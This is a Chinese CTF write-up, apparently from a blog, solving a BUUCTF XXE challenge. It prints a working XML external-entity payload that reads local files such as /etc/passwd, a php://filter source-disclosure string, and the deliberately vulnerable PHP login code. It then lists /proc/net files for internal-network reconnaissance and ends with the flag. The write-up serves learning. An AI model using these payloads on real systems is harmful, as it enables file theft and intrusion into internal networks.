题目提示XML,直接抓包注入XML
<?xml version="1.0" ?>
<!DOCTYPE lkj [
<!ENTITY admin SYSTEM "file:///flag">
]>
<user>
<username>&admin;</username>
<password>1</password>
</user>
读取失败
修改payload读取/etc/passwd文件成功说明payload没有问题,应该是没有flag文件或者不允许直接读取
读取当前doLogin.php文件源码
php://filter/convert.base64-encode/resource=doLogin.php
base64解码得到源码,密码可以解密出来但是登录失败,这里也没有关于flag的信息,所以应该不是这个方向
<?php
/**
* autor: c0ny1
* date: 2018-2-7
*/
$USERNAME = 'admin'; //账号
$PASSWORD = '024b87931a03f738fff6693ce0a78c88'; //密码
$result = null;
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
try{
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
$username = $creds->username;
$password = $creds->password;
if($username == $USERNAME && $password == $PASSWORD){
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username);
}else{
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username);
}
}catch(Exception $e){
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",3,$e->getMessage());
}
header('Content-Type: text/html; charset=utf-8');
echo $result;
?>
读取hosts文件看是否有ip信息,也没有
看了其他wp是读取/proc/net/arp,发现存在内网主机10.128.253.12
IP address HW type Flags HW address Mask Device
192.168.1.151 0x1 0x2 00:e0:4c:19:1a:98 * eth0
192.168.1.1 0x1 0x2 00:14:78:e7:c4:e8 * eth0每个网络接口的arp表中dev包的统计
IP address:IP地址(直连)
HW type:硬件类型
23=0x17 strip (Metricom Starmode IP)
01=0x01 ether (Ethernet)
15=0xf dlci (Frame Relay DLCI)
Flags:
HW address:MAC 地址
Mask:
Device:所在网络接口
内网探测常见文件
/etc/hosts
/proc/net/arp
/proc/net/tcp
/proc/net/udp
/proc/net/dev
/proc/net/fib_trie
访问10.128.253.12,失败
爆破下内网地址,全部失败,看了别人的wp说是需要看/proc/net/fib_trie,得到10.244.80.213
由于BUUCTF转用了K8S管理,他的靶机容器是随机在80,81两个网段里的 具体情况看/proc/net/fib_trie
继续访问10.244.80.213,失败继续爆破
最终在10.244.80.116找到flag
flag{d6fcfdff-5d3c-461c-944c-ce4f091af9e7}
标签:XML,WEB,读取,HW,username,result,net,cookbook,proc
From: https://www.cnblogs.com/scarecr0w7/p/17377305.html